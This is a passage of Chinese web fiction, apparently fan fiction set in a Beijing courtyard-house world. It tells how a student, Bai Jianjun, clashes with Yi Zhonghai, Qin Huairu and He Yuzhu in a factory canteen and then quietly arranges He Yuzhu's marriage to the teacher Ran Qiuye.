一个馒头算一两主食，这位直接给了张2两的饭票，就想换五两的馒头，也不知道是谁的关系。不过白建军不管她是谁的关系，白建军肯定不会接这张饭票的，到时候白建军给她两个馒头，她回头说给白建军5两饭票，反而会让白建军百口莫辩。与其惹那样的麻烦，还不如直接不搭理她。 “你这孩子，怎么这么较真呢！” 秦淮茹的举动都落入到了旁边正在排队打饭的工人们的眼中，一时之间秦淮茹直接有些下不来台。 “秦姐，这是怎么了？” 梳着二八分，嘴唇上留着两撇胡子，长的酷似刘士宽的一个流里流气的男人走到了秦淮茹身边问道。 “许大茂，没你的事！”站在另一边排队的易中海呵斥了许大茂一句，又对着秦淮茹说道。“淮如，你到这边来吧！” 秦淮茹绕开许大茂，走到易中海前头，脸上露出了委屈的神情。 “淮如家里还有个婆婆还有两个还在上学的闺女，全家全靠他一个人，大家也多担待一下。”易中海对着后面排队的工人们客气的说道。 “秦师傅家的情况大家也都知道，理解！理解！” 易中海虽然马上就要退休了，但是作为轧钢厂仅剩的几名八级钳工，下面的工人还是会给易中海几分薄面。 白建军以为这件事就过去，也安心给前来打饭的学生们乘菜拿馒头。秦淮茹敢拿2两饭票要5个馒头，也就是欺白建军的生，在另一个窗口，可是规规矩矩的掏出来5两的饭票，等秦淮茹和易中海都打完饭了，易中海并没有直接离开，而是往左边挪了挪，站到了白建军面前。 “你这个小同志来的时间短，不了解情况！”易中海上来就一副倚老卖老的口吻看着白建军说道。“我还有秦淮茹都是和柱子一个院的，她一个寡妇家家的，既要照顾婆婆，还要照顾三个孩子，能通融就通融一下，这事就是柱子在，也不会说什么的！” “您不打饭就请让让！”白建军尽管心里厌恶可还是平静的对着易中海说道。“后面还有要打饭的工人呢！” “你这孩子，我在和你说事呢，你这是什么态度，还懂不懂的尊老啊！” 易中海不满的看着白建军说道。 白建军现在已经不是心里头厌恶了，而是直接怒了，易中海当着这么多人的面，直接给白建军扣了一个不尊老的名声。这事要是传出去，白建军什么前途都毁了。 “尊老？你也配！”白建军放下菜勺子直接瞪着易中海说道。 “认识字么？看清楚这上面写的是什么了么？学生窗口！” “我来了快半个月了，还是头一次看到有人舔着脸跑这边打饭来的。” “刚刚你口中的那个寡妇，拿着2两的饭票，直接找我要5个馒头。怎么着，差的那三两饭票，你给补么？” “寡妇门前是非多，奉劝你一句还是少掺和别人家的事，你这么帮着她，你们两家是什么关系啊？” “我知道你叫易中海，厂里的八级工么，你们院的一大爷么！对了，这都新种花了，怎么还有这种封建制度的残渣能存在这京城首善之地呢？” 白建军的一顿抢白，直接让易中海不知道怎么还嘴，这边的动静让全食堂所有的目光都集中到了这边。 “易中海，你少在我面前充大辈，要充大辈，回你们四合院去当你的一大爷去。” “别以为大家伙不知道你什么德行！还厂里的八级工，你教出来几个好徒弟了？” “哦，你的好徒弟死了，意外死了，然后你就帮着照顾他媳妇一家啦！” 白建军本来最近就比较烦躁，正好易中海撞到白建军的枪口上了。这时候何雨柱也从后面走了出来。 “易中海，别成天活在自己的幻想中，你去南锣鼓巷外面打听打听，谁不知道你们那院那点破事。你以为你们那些见不得人的勾当别人看不出来？那只是大家懒得管！” “跟你没关系，你却跳出来，你算个什么东西！你一个准备吃绝户的老绝户，有什么脸面在我面前说三道四，有什么理由让我尊重你！” “兔崽子！” 何雨柱一个箭步冲上来，就要给白建军一个大嘴巴。可是他的手腕直接被白建军死死的抓住。 “何雨柱，你这人心不坏，我还是挺尊重你的！但是你给脸不要脸，跟我动手？姥姥！” 白建军一个正蹬就踹到了何雨柱的肚子上，一下子就把何雨柱踹坐地上了。 “说你是傻柱，都埋汰那个傻字！” “谁好人跟一个寡妇不清不楚的？啊？你跟房遗爱都不相上下了。” “吃一百个豆儿，不嫌豆腥！连你自己亲妹妹都不愿意搭理你，你就没找找原因么？” “我也是爸妈不在了，我和我姐相依为命，我能让我姐过的好，你让你妹妹过的好了么？” “瞧不起你！” “老蔫，你来打饭！” 白建军叫完赵小年，直接脱了套袖走出了后厨。 食堂内所有人都瞪大了眼睛看着发生的这一幕，等白建军走了之后，这些人在秦淮茹和易中海两个人之间来回看来看去，有些男工都露出一副原来如此的笑容。 易中海现在恨不得找个地缝钻进去，白建军的话，这是把他的老脸都扒下来了。 “你……你……你……！” 易中海指着离开的白建军，你了半天也没说出来一句完整话，之后身体一栽歪，直接倒在了地上。 “易师傅！易师傅！易师傅！” 周围的工人一看易中海倒下，赶忙站在旁边叫唤，可就是没有一个人上前帮忙。 “白大夫！” 学生们里一看有意外情况，赶紧往打饭的窗口喊了一声，可刚喊完，突然意识到，这老头倒地上就是白建军那些话给气的。 “哪有大夫？快找来啊！” 看热闹的工人直接看着学生们问道。 “刚刚出去的那位，就是大夫，当年连断气的，他都给救回来了！” “被救的，就坐在这呢，是不是，徐排长！” 学生们你一句我一句，还点了一下徐静理。 “别起哄了，赶紧把白建军找回来，救人要紧！”徐静理直接站起来瞪了点他的学生一眼，不过那人也没当回事。“二喜，你腿儿快，赶紧去找白建军。” “得令啊！” 赵二喜一下子跳了起来，快步往食堂的小门走。不大功夫，赵二喜就把白建军找了回来。看着倒地不起的易中海白建军也没说什么，直接查看了易中海的呼吸、脉搏，然后又号起了脉。 也就不到一分钟，白建军蹲在易中海的身边，面色难看的说道。 “别装了，你除了肾虚，一点毛病都没有！” “哗！” 吃瓜群众们听到白建军的话，再次惊喜的看向了躺在地上的易中海。虽说易中海都快60了，但是肾虚这个事吧，结合刚刚白建军的话，你得细品。 见易中海还在装死，白建军也没惯着他，上去直接一个大嘴巴。 “啪！” “哎呦！” “哈哈哈！哈哈哈！” 第37章 厂主任VS校主任 白建军中午在轧钢厂第二食堂放了个大卫星，下午的时候，轧钢厂的领导们和红旗中学的领导们就坐在了一起。轧钢厂李主任和红旗中学张主任一见面，就笑着握手。 “李主任，好久不见了！” “张主任，平时大家都有各自的工作，这难得我们今天聚到一起啦。” 两方人马在两位主任打完招呼之后，就各自做到了轧钢厂小会议室的两边。两位主任都没有先开口说话，轧钢厂这边的后勤主任看着对面红旗中学的领导和老师直接笑着说道。 “你们这位白同学还真不一般，要不是我们李主任知识渊博，给我们讲了房遗爱的典故，我们都不知道‘绿帽子’！要不怎么说还得多学习呢，今天我们就被上了一课啊！” “白建军这孩子，正直、善良，平时和同学们相处的也非常融洽。”刘爱红笑着看着后勤主任说道。“这既是孩子的优点，也是孩子的缺点。这孩子太正直了，眼里揉不得沙子；也太善良了，看不得别人上当受骗！让诸位见笑了！” “刘老师说的是，孩子是孩子，就是有些口无遮拦啊！” 后勤主任同样笑着说了一句。 “年轻人么，见到不平事，难免心直口快了些！”刘老师点了点头附和了后勤主任一句，不过接下来话锋就是一转。“主要也是孩子太正直，对事不对人，也可能这孩子听到了一些什么不好的消息了吧！” “刘老师，我们厂子还有不好的消息？”后勤主任嘴角上翘看着刘爱红问了一句。“我怎么不知道啊！” “可能是有些学生心里着急，就私下里抱怨了几句，让白建军听到了吧！”刘爱红看着后勤主任笑了笑说道。“毕竟有的孩子来了快半个月了什么都没学到，有的孩子都已经达到能参加考级的水平了，都是追求上进的孩子，难免有个攀比心理。” “这……” 后勤主任一听刘爱红，直接看了一眼身旁的一车间主任，一时之间也不知道说什么是好。 事情发生的时候，那么多双眼睛看着呢，厂子保卫科一问就清楚明了的知道了事情的经过。 秦淮茹仗着和何雨柱不清不楚的关系，跑去学生食堂窗口去打饭，最重要的是她竟然拿2两的饭票要换5两的馒头。以前秦淮茹也不是没这么干过，不过差额都由何雨柱补上了，厂里的领导也不爱搭理这点鸡毛蒜皮的小事。 而且大家都知道李主任是个老饕，何雨柱的那一手做饭的本事，可不仅仅是征服了李主任一个人，平日里大家也愿意给何雨柱这点薄面。 有些事，私下干了就干了，大家睁一只眼闭一只眼也就过去了，但是不能拿到明面儿上来。一到明面儿上，那绝对得有个说法。秦淮茹的行为，就是歪风邪气，而且事情拿到了桌面儿上，直接让厂领导在校领导面前丢了脸；反观白建军，坚持原则、抵制歪风邪气，是正能量的行为，是值得表扬和鼓励的。 如果事情到这里就结束了，那么双方领导都不会出现在这个会议室中。可是偏偏后来的易中海非要仗着资历，教训白建军一句。 “你这个小同志来的时间短，不了解情况！” 易中海这句话不就是说白建军，你个小屁孩才来几天啊，懂什么啊！虽然白建军的态度不是太好，但是人家也没和易中海计较，可是易中海觉得伤了面子，又说白建军不尊老，这不就给这孩子扣帽子了么。这个名声传出去了，若是白建军以后进了工厂，哪怕是别的工厂，哪个师傅还敢收白建军当徒弟？这不就是掘了白建军的后路么。 白建军说了易中海那么多句，前面说的那些关于四合院的那些事，厂领导管不到，但是其说的厂子里面的问题，那每一句话都在点上。 易中海在厂子快四十年了，他手底下连个四级工都没出来，唯一的一个二级工徒弟还出意外死了，至于贾东旭怎么死的，事情已经过去十年了，也查证不了，但是易中海这么多年确实没有为厂子培养出人才来。 原来厂子里不止易中海一个八级工，可是那些八级工都被调到“三线”去了，易中海没去不是因为厂子的挽留，而是人家根本就没相中的，他算是这些八级工里最次的存在，甚至八级工这个身份，都是有一定水分的。 反观二车间的刘海中，虽然对车间里的工人和徒弟们非打即骂，但是人家是真把手艺手把手教给那些徒弟了，刘海中一个七级工，他最好的徒弟已经是五级工了，而且刘海中还支持这个徒弟往上脱产进修，他那徒弟的家人都是刘海中出钱养着的。 同样其他车间的其他七级、六级老师傅，那也都是手把手的教徒弟，那真是师徒父子处的跟一家人似的。 至于白建军动手打了何雨柱，那明明是何雨柱要扇白建军，不过没扇成，反倒让白建军一脚踹出去了。技不如人，一个大人让一个孩子给揍了，厂领导都不好意思想这个事，太TM丢人了。 这事情到最后，易中海老羞成怒，竟然玩起了假死这套。如果当时被送到医务室，也算让易中海脱身了，可是好巧不巧，这个白建军还是个大夫，竟然看出来易中海玩的这套猫腻，一个大嘴巴就把易中海抽起来了。厂领导们后来还想到，要是真让易中海被送到医务室，那他反过来要是讹白建军呢？别说，以易中海的人品，还真能干出这样的事。 白建军很多地方都占了一个理字，而反观厂子这边的秦淮茹、易中海、何雨柱几人，简直是把胡搅蛮缠、倚老卖老、互相包庇这几个词演绎的淋漓尽致。 当然白建军的话语也不是没有问题，但是你要是说他说错了吧，也实在找不出话语里的问题，只能说白建军的话都是对的，但是其让人产生了极大的误导，但是这个误导是不是事实，那就只能仁者见仁了。 当然今天的这个事，把白建军调离后厨，其他人也警告一番，各打五十大板，后勤主任和一车间主任就能处理了，这事都不会出现在李主任的案头。但是这件事当中的当事人之一——易中海，偏偏做的一件最错误的事情，那就是不好好教学生，并且让还学校这边抓住了把柄。 厂里和学校方面的联系，一直都是李主任出面的，可以说红旗中学“学工”完全就是李主任主抓的项目。厂里其他各个车间的车间主任也好，老师傅们也好，都全力配合完成这项工作。只有你易中海还在玩老一套的敝帚自珍，你这不是在和李主任亲自抓的项目搞对立么。哪怕易中海就是教了一点，厂子里都不会这么被动，可是偏偏易中海是一点都没有教。 学校一方本来就占着理，现在各大五十大板已经不行了。 “是我们没有教育好我们的学生，我们带回去之后一定会严加管教。” 红旗中学的张主任不好意思的看着轧钢厂的李主任说道。 “张主任，看你说的，也是我们工作不到位，下面对这项工作的认识还没提上来。”李主任同样歉意的看着张主任说道。“我们厂子这边一定大力加强工人们的思想教育，推进好‘学工’项目的进行。” “呵呵，那李主任，预祝我们‘学工’项目能取得圆满的胜利！” “张主任说不对，‘学工’项目是一定会取得圆满的胜利！” 轧钢厂的李主任和红旗中学的张主任再次站了起来，两人的手也再次紧紧的握在了一起。 红旗中学的校领导和老师来的匆匆，去的也匆匆，不过走的时候，刘爱红也带着白建军回到了学校。 “白建军，老师知道你是个好孩子。你们最近心情不好，老师也理解。”刘爱红看着白建军关心的说道。“最近你先在校办工厂帮着农基老师吧，他老吵吵说确帮手，正好我把你这员大将调给他！” “刘老师，谢谢您，谢谢学校，谢谢组织！”白建军看着刘爱红认真的说完，又满怀歉意的语气说道。“我太冲动了，给您和学校添麻烦了！” “说什么麻烦不麻烦的！”刘爱红看了看四下无人，这才小声的说道。“你们上大学的路断了，只有工作和下乡这两条路了，为此不少学生都很迷茫。轧钢厂那边的事，确实说不过去，学校也是借这个事和轧钢厂那边发难，也想让你们以后能更受重视一些，好让你们毕业以后，能进入个好单位。” “只是有些委屈你了！”刘爱红说完叹了口气。“不过你也不要有顾虑，能为你争取的，老师也会尽量争取！” “刘老师，谢谢您能跟我说这些。”白建军露出了笑容看着刘爱红说道。“只要同学们能有一个好的前途，我受点委屈没什么的！” 刘爱红看着露出笑容的白建军，非常满意的说道。 “白建军，你是个好孩子！老师会把你的这个笑容记在心里！” 第38章 有仇当时就报了 白建军和刘老师说了一会儿话，就去找农基老师去，农基老师直接就带着白建军去了红旗中学的校办工厂。红旗中学有自己的印刷厂、化工厂以及一个机修厂，白建军主要是被带到了机修厂这边。 学生们去轧钢厂还需要签个临时工的合同，到校办工厂这边，本校的学生，那是什么手续都不用办，直接就能参加工作。机修厂这边的人也都认识白建军，让白建军先回去休息休息，明天再来上班就行。 白建军和众人告别之后，没有回家，反而直接去了红星小学那边。 “你好，你找我？” 冉秋叶看着站在红星小学大门口的白建军疑惑的问道。 “冉老师，您好！”白建军礼貌的和冉秋叶打了声招呼。“我叫白建军。是红旗中学高中部的。” “白同学，你好，你找我有什么事么？” 冉秋叶看着礼貌的白建军，客气的问道。 “冉老师，我刚刚把何雨柱打了！” 白建军用平静的语气说着令冉秋叶意外的话，白建军也一直盯着冉秋叶的表情看。冉秋叶在听到白建军的话后，脸上有意外、有心疼、还有惋惜。 “这位同学，你和何雨柱有什么矛盾？”冉秋叶皱着眉头看着白建军问道，说完还不忘替解释了一句。“何雨柱就是嘴不好点，人还是好人！” “冉老师，冒昧的问一下，您现在还没结婚么？” 白建军一记直球直接问了出来。 面对白建军的问题，冉秋叶心里既有委屈，又有些害羞。一个身高快1米8的大小伙子站在一个女性面前问这个问题，也就是白建军刚刚说自己才上高一，这要是换个人，冉秋叶直接都得以为对方是在耍流氓。 “没有！”冉秋叶摇了摇头，心里很不舒服的看着白建军问道。“你到底上要说什么！” “您当初没有和何雨柱走到一起，我估计是秦淮茹在其中说了什么，或者做了什么让您产生了误会。”白建军看着冉秋叶认真的说道。“您刚刚也说了，何雨柱是个好人，他心地善良，不拘小节。但是某些人也正是利用了这一点。何雨柱一个单身汉，邻居嫂子帮他洗衣服，甚至内衣，他会认为是邻里之间互相帮助，但是外人确觉得两个人的关系不正常，一个女人得和一个男人什么关系才能给他洗内裤呢。” “冉老师，我说的对么？”白建军说完，笑着看着冉秋叶说道。“您是不是就会觉得他们俩要是那样，才像两口子，而你这个后来的，才像个外人？如果您真这么想，就正中某些人的下怀。” 冉秋叶听到白建军的话，什么话也说不出来，因为当初她就是这么想的。 “我有亲戚在九道弯那边住，早就知道他们那个院里没有什么好人，就是你们学校的闫阜贵和傻柱，都只能各算得上是半个好人。”白建军笑了笑，看着冉秋叶直接说道。“以前他们和我没什么关系，但是今天秦淮茹、易中海都得罪我了，那我就要报复回去，彻底打破他们这些禽兽的如意算盘。而如果您还愿意和何雨柱走到一起，那就是对他们的谋划最大的破坏。” “不过我还是要和您说清楚，傻柱是真的傻，您要是和他过日子，您就得防着他们那一院子的禽兽。”白建军看着冉秋叶郑重的告诫道。“您可以回去考虑考虑，明天中午我再过来一趟，您告诉我您的打算就好。但是今天咱们之间说的话，您最好谁也别告诉！” “如果我不同意，你还有什么打算？” 冉秋叶盯着白建军认真的问道。 “您不同意只能算他何雨柱命里没有，那我也不打算再掺和他们的事。不过要是那些人主动找我麻烦，我也不介意直接废了他们的命门。你曾经的那个学生贾梗，可以说是贾家最大的指望，以贾家的凑性，没准贾梗就要找我麻烦呢，嘿嘿，到时候我到是希望他能来，我直接让他体会一下易中海和许大茂的绝望。” 虽然白建军面上一直都是微笑，但是其话中的狠辣也是让冉秋叶听的心惊肉跳。 “白同学，若是我同意了，你会怎么做！” 冉秋叶看着白建军，有些不好意思的问道。 “开好介绍信，拿好户口本，我会把何雨柱约出来，只要他能把户口本拿出来，介绍信我会让我同学直接开出来，你们直接去民政局登记。”白建军看着冉秋叶认真的说道。“只要出其不意，你们俩有了这个结婚证，那就能断了四合院很多人的念想。以后您可能也会面对四合院里那些禽兽射来的各种暗箭，特别是贾家和易家。不过您也不用怕，有什么事找街道、找警察解决，他们那边的居委会就算了，到时候自会有人收拾他们。太阳底下就没有什么新鲜事，他们就是一群见不得光的玩儿意！” “白同学，我需要考虑！” 冉秋叶听清了白建军的打算之后，就认真的看着白建军说道。 “那我就不打扰您了！” 白建军说完话就转身告辞了。 冉秋叶看着干脆利落的白建军，也满是心事的往学校走。其实冉秋叶对何雨柱是感激的，当初冉秋叶在学校扫大街，别人都躲着她走，只有何雨柱不计较这些，仍然愿意跟她在一起。这也是后来冉秋叶差一点就和何雨柱能走到一起的一个原因，只是最后被秦淮茹搅和了。 “冉老师，您这刚刚和谁说话呢？” 闫阜贵看着走回来的冉秋叶，笑呵呵的上前问道。 “没什么，亲戚家的来捎个话！”冉秋叶抬头看见是闫阜贵赶紧敷衍的说道。“闫老师，我还有事！” ----------------- 白建军离开了红星小学，直接往正阳门的小酒馆而去。 “建军，你怎么来了，你们不是在轧钢厂上班呢么！” 徐慧真一看到白建军过来，热情的招呼着白建军说道。 “徐姨，我被调回我们学校机修厂了，正好有事找徐静理，我就过来等她！” 白建军礼貌的跟徐慧真说道。 “那你直接去后院吧，你蔡叔在家呢，正好陪你蔡叔下会儿棋！” 徐慧真也没拿白建军当外人。 “那徐姨，我先去找我蔡叔去啦！” 白建军笑着说道。 白建军直接穿过小酒馆的后门，就到了徐静理她们家的四合院。见到蔡全无，可把蔡全无高兴坏了，白建军陪着蔡全无下了一会儿象棋，徐静理也下班回到了家里。 “理儿回来了！”蔡全无一看到徐静理直接热情的招呼道。 “爸，我回来了！”徐静理和蔡全无招呼了一声，就看向了白建军。“白建军，你找我什么事？” “你们俩先聊，我去前面看看！” 蔡全无笑着看着两个人说完就开门往小酒馆走了。 “你在人事科，能开介绍信吧！” 白建军直接看着徐静理问道。 “能啊，现在工人们有事需要的介绍信，都是我开的。”徐静理肯定的说道。“你还是跟我说说，下午你被学校带到哪去了吧？” “下午学校把我带了回去，让我去机修厂帮忙！”白建军回答完徐静理之后，直接说出了找她的目的。“帮我一个忙，给我开一份介绍信，就是结婚登记的那种。介绍何雨柱结婚。” 徐静理听白建军这么说，就知道白建军没有什么事，然后饶有兴致的看着白建军说道。 “你这中午把人踹飞了，晚上你就要给人保媒拉纤儿，你这葫芦里到底是卖的什么药啊！” “灵丹妙药！专治疑难杂症的！”白建军也笑着回了一句。“你就说能开出来么！” 徐静理有些顾虑的说道。 “能开倒是能开，不过……” “放心，能用上，事后自然会有说法。”白建军安慰着徐静理说道。“用不上我也会告诉你，你就当是开出一张废纸！” “也不知道你到底要干什么！”徐静理满脸疑惑的看着白建军说道。“明天我把介绍信给夏建红，让她下班给你带回去！” “多谢啦，要是事能成，你就等着看乐子吧！”白建军抱拳对着徐静理说道。“我先回家啦，我就不去前面和蔡叔徐姨告辞啦！” 白建军离开徐家，这才往家走，一到家，夏建红和任燕乃至蔡晓丽都等着白建军。 “晓丽也来了啊！我没什么事，明个开始去咱们学校的机修厂帮忙！” 听白建军这么一说，几女也就放下了担心，然后几个人就把厂里这边的反应告诉给了白建军。 “二喜告诉我，他们车间主任下午就找易中海了，车间主任的骂声隔着老远都能听到，后来好像是车间主任让易中海直接回家休息一段时间了。最后他们车间主任还让工人们认真教咱们同学，如果发现谁不认真，也都回家休息去。” 任燕看着白建军直接汇报道。 “秦淮茹也被二车间主任撵家去了，听说还让她写检查，不深刻就不用来厂里上班了。” “何师傅下午就直接回家了，后勤主任又调了两个人来食堂这边。”蔡晓丽看着白建军说道。“后厨这边的工人都不敢和我们说话了。” “晓丽，没事，你们该干什么就干什么。”白建军看着蔡晓丽说道。“不过，你明天找一下马华，让他给何雨柱带句话，就说我约他明天晚上解决一下我们之间的恩怨，何雨柱要还是爷们，就别缩头。” “建军哥，你可别再惹事啦！” 夏建红看着白建军关切的说道。 “你们放心，我心里有数！” 第39章 何雨水的冷漠 不提白建军这边的谋划，事发当天的下午，何雨柱失魂落魄的从厂子里直接就离开了。中午发生的事，大家都听说了，对于何雨柱提前离岗，门卫也没拦着。 何雨柱深一脚浅一脚漫无目的的往回走，也不知道怎么着，就走到了何雨水家的楼下。何雨水自从嫁给派出所片警刘国栋，几乎很少回南锣鼓巷，就算回去也是来也匆匆去也匆匆。何雨柱到了何雨水家楼下的时候才发现，已经有大半年时间没有见过何雨水了。 何雨柱独自坐在何雨水家的楼下，双眼无神的看着前方。时间长了，桶子楼里不少人都发现了何雨柱，不过有人认出是刘家的大舅哥，也就没人去撵何雨柱了。 刘国栋下班回来，推着自行车就看到一个人坐在自家楼下，出于习惯仔细一打量就认出了何雨柱。 “大哥，你怎么坐这儿了！” “妹夫……！” 何雨柱被刘国栋的声音惊醒，抬眼就看到了刘国栋。 “国栋，你先上楼去吧！”何雨水推着车子从另一个方向走了过来，直接示意刘国栋先走，然后冷漠的看着何雨柱问道。“你怎么来了？又有什么事？” “雨水……，我……！” 何雨柱尴尬的看着何雨水，一时之间都不知道说什么好了。 刘国栋看着冷漠面对大舅子的妻子，又看了看尴尬的大舅子，摇了摇头，一句话也没说就先上楼去了。 “雨水，你过的好么？” 何雨柱面对着自己的亲妹妹突然问出了这么一句话。 “贾家又有什么事了，竟然都让你找上我的家门了！”何雨水充满嘲讽的语气看着何雨柱问道。“你的工资不是都让秦淮茹把持着么？这还嫌不够，还要来扒哧我来？” “怎么着，国栋刚给我买了辆自行车还没多长时间，这风声就传回四合院啦？”何雨水一声比一声高，质问着何雨柱道。“这就见不着我好了？非要我天天挨冻受饿，他们才能舒心？才能放过我？” 何雨水每说一句，何雨柱的头就低下去一寸，最后脑袋真要缩到裤裆里了。 “他们家爱怎么着怎么着，你愿意帮是你的事，跟我挨不着！我也懒得管！”何雨水说完，直接推车子就越过了何雨柱。“你也少拿院里的事来烦我，他们跟我可没有关系！” 这要是以前何雨水说这些，何雨柱肯定会说何雨水两句，但是今天何雨柱一个字都说不出来。 白建军的情况，后厨这边早就打听清楚了。人家父母不在了，姐弟俩相依为命，但是人家把姐姐送上了中专，现在又在部队医院实习； 反观何雨柱自己，小的时候让雨水挨饿受冻还可以说没办法，但是到雨水长大了，何雨柱拿回的好吃的都被棒梗打劫了，那些肉啊菜啊，都进了贾家众人的肚子，可是自己的亲妹妹雨水却什么都没吃到。 自己当初还损过雨水说她和一个孩子抢吃的，害臊不害臊，打那起，雨水就从来没有再说过这些话，但是兄妹两个也开始疏远起来。 “我瞧不起你！” 白建军中午的话，一直萦绕在何雨柱的耳边。看着雨水锁车子的背影，何雨柱直接重重的给了自己两个大嘴巴！听到耳光声的何雨水只是看了何雨柱一眼，不过也只是看了何雨柱一眼，然后转身就往楼上走去，连关心一下何雨柱的状态都欠奉。 何雨水以前也不是没和何雨柱说过，可是何雨柱一遇到贾家的事，他是一句都听不进去，所以何雨水早就对何雨柱死心了。眼不见心不烦，何雨水也懒得搭理何雨柱。 何雨柱失魂落魄的来，又狼狈不堪的走了。等回到家中，何雨柱直接把自己关在屋子里，浑浑噩噩的就倒在了床上。 何雨柱的房间一天一宿都没有打开过，期间秦淮茹还让小当去敲门，可是屋子里一点回音都没有，直到第二天晚上下班的时候，马华一直敲着何雨柱的房门，何家的门才算打开。 马华看着仍然消沉的何雨柱，直接关上了何家的大门，并且把打包好的饭菜直接放到了桌子上。 “师父，您先吃点吧！” “那个白建军让蔡晓丽找我了，让我给您带个话儿。” 马华见何雨柱不为所动，也只能硬着头皮提起白建军。 何雨柱听到白建军的名字，眼睛终于有了一些焦距。 “带什么话儿？” “他约您七点到红星电影院旁边的小公园，说解决一下你们的恩怨！” 马华含混的说了一下蔡晓丽转过来的话，可是何雨柱明白这是马华加工过的，所以何雨柱看着马华直接问道。 “还有什么话，直接说出来！” “他还说，您要是个爷们儿，就别缩头！”马华吭哧了半天，才按照蔡晓丽转告他的原话说了出来。“师父，要不我叫几个人陪你去？” “你能叫来谁？”何雨柱看着马华嗤笑了一声。“我这人缘，我还能不清楚？” 何雨柱说完马华，也不再言语，直接开始扒拉马华带来的饭菜。 “你这手艺，还得练啊！”何雨柱吃完饭，看着马华说了一句。“我去会会那小子，看看他到底是个什么章程！走的时候把门带上就成，这屋里也没有什么可惦记的了！” 何雨柱起身就洗了洗脸，然后直接就打开大门，直接走了出去。马华赶紧收拾饭盒，也跟着何雨柱。 四合院里好多双眼睛一直都盯着何家的大门，看到何雨柱出来，秦淮茹第一时间就从屋子里走了出来，满怀委屈的看着何雨柱叫了一声。 “傻柱！” 何雨柱冲着秦淮茹傻笑了一下就直接绕开了拦在自己前面的秦淮茹，一直走出了四合院，何雨柱都没有回头。秦淮茹心里觉得不对劲，赶紧走了几步拉住马华。 “马华，你师父这是要干什么去？” “秦师傅！”马华看着拉着自己胳膊的秦淮茹直接动也不动。“有事您就说事，别动手！” 马华见秦淮茹松开了自己的胳膊，连搭理都没搭理秦淮茹，直接快步去撵何雨柱去了。马华刚走，易中海就从自己屋里出来了。 “淮如，柱子没说去干什么？” “一大爷，要不我跟着去看看吧，我怕傻柱再犯浑，惹了大祸！” “你去能帮什么忙？”易中海摇了摇头。“先看看吧！” 易中海说完，看了一眼贾家窗户边那个快速离去的身影，又看了看何家的大门，转身回了自己屋子。秦淮茹赶紧往何家屋子里去，四处看了看，见没有什么不对，才返回了自己的家里。 第40章 以快打慢 白建军一边在小公园里练着拳，一边思索着。看着走过来的何雨柱，白建军想起来自己前世的一句话，觉得用在何雨柱身上很应景：人若不自渡，旁人爱莫能助。 “何师傅来了！”白建军收了功看着走过来的何雨柱笑着说道。“我现在算你还是个人！” “你让我来，就是为了继续骂我？” 何雨柱面色难看的看着白建军说道。 “找你来，当然是有事！今天我同学跟我说，厂子里有不少人打听我的事。”白建军收起了笑容，看着何雨柱严肃的说道。“我不管这些人的背后是不是秦淮茹和易中海，您给他们两家带个话儿！” “什么话，你自己不会说么？” 何雨柱不耐的看着白建军说道。 “贾梗，小名棒梗，在红星中学上学和我同届，目前由学校组织去郊区‘学军’去了。还有5、6天就能回来。”白建军严肃的看着何雨柱念叨着“四合院盗圣”的信息。“要是有人骚扰到了我的家人，我不管是不是他们两家，我就认定是他们家了。到时候看我能不能把棒梗送到精神病院去！看看我能不能让贾家的两个姑娘在学校抬得起头来！你们院的孩子不是给棒梗挂过破鞋么，我会一人给他们送一只的。” “你敢！” 何雨柱听到白建军威胁贾家的话，直接往前走了一步。 “偷袭你都不是我对手，正面我可以让你一只手！” 白建军直接后退一步，把左手背在身后，伸出了右手成虎爪放在了胸前。 看到白建军摆出来架势，何雨柱知道自己不是对手，强压着冲动停了下来。 “秦姐已经很不容易，你又何必为难她们母子呢！” “她不容易？别人家就容易了？都是开27快5，多少家吃饭的嘴比他们家还多？”白建军看着何雨柱还在替秦淮如辩解，收起了架势不屑的说道。“贾张氏养的白白胖胖的，一个月还能镇痛片不断，她家还不容易？” 白建军说完直接嘲讽何雨柱说道。 “是啊，有你这个傻子拉帮套，你何家的不就是贾家的么！贾家的孩子去你们家跟鬼子进村了似的，你不都习以为常了么！” 白建军的话再次深深刺痛了何雨柱，因为贾家的孩子把自己的好东西都搬走了，而自己的妹妹雨水反倒营养不良，一直长的瘦弱不堪。 看着不说话的何雨柱，白建军反倒觉得没意思了。 “何师傅，多问你一句，你家的户口本儿还在你家么？” “你问这个干什么？” 何雨柱听到白建军的问话，不明所以的看着白建军反问道。 “你就说在不在你家吧！”白建军看着何雨柱的样子呵斥道。“问你什么，你就回答什么！” “我凭什么告诉你？” 何雨柱也来了脾气。 “你最好配合！”白建军又举起了拳头。“我现在是和你好好说话，别逼着我不给你留面子！” 何雨柱看了看白建军的拳头，叹了口气。 “唉，户口本儿在我妹妹家里！” “你妹妹都比你看得清楚！”白建军听到何雨柱的话，不由高看了何雨水一点儿。“带我去你妹妹家一趟，我和她谈谈！” “你要干什么？”何雨柱紧张的看向白建军。“我告诉你，我妹夫可是警察！” 白建军没有理会何雨柱，直接对着远处喊了一声。 “马师傅，你出来吧！正好有点事让您办一下！” 白建军喊完，马华就从不远处的树后面走了过来，不好意思的看了白建军一眼，然后就站在了何雨柱身后。 “马师傅，你明天一早去一趟厂里的人事科，找一下徐静理。”白建军看着马华直接吩咐道。“她是我同学，你就说是我让你去找她的，其他的什么也不用多说！” 马华看了看白建军，又往前走了一步，直接走到了何雨柱身边。 “你到底要干什么？” 何雨柱不明所以的看着白建军问道。 “该让你知道的，一定会让你知道。”白建军看着何雨柱直接说道。“你不带我去，我也能打听出来。你是觉得我和你妹妹在纺织厂说话方便呢，还是在她家里跟她说话方便呢？” 何雨柱知道，自己拦不住白建军，白建军既然对四合院的事门儿清，那么找到何雨水家里也不过是一两天的事。 “我带你去！”何雨柱和白建军说完，又看着马华说道。“马华，你就听他的，我倒要看看，他到底要耍什么把戏！” 马华见两个人真的只是谈，没有动手的意思，在得了何雨柱的吩咐之后，就往自己家里走了。而何雨柱也带着白建军直接往雨水他们家走，两人一路无话，等到了何雨水家楼下，何雨柱指着三楼还亮着灯的人家。 “那就是雨水家！” “你不上去？” 白建军直接就往楼洞口走，看见何雨柱没跟上来，直接问了一句。 “我就不上去了！” 何雨柱摆了摆手，纠结的说道。 “你不上去也好，不过你最好还是在楼下等着！” 临走，白建军都不忘损了何雨柱一句。 等白建军敲了敲何雨水家的房门，何雨水就把门打开了。 “同志，您好，您找谁？” “您是何雨水吧！” 白建军看着眼前的何雨水确认道。 “我是！您找我？您是？” 何雨水看着眼前的白建军，疑惑的问道。 “我叫白建军，这么晚了还来打扰您，是有事想和您谈一下，关于你哥的！” 白建军看着何雨水客气的说道。 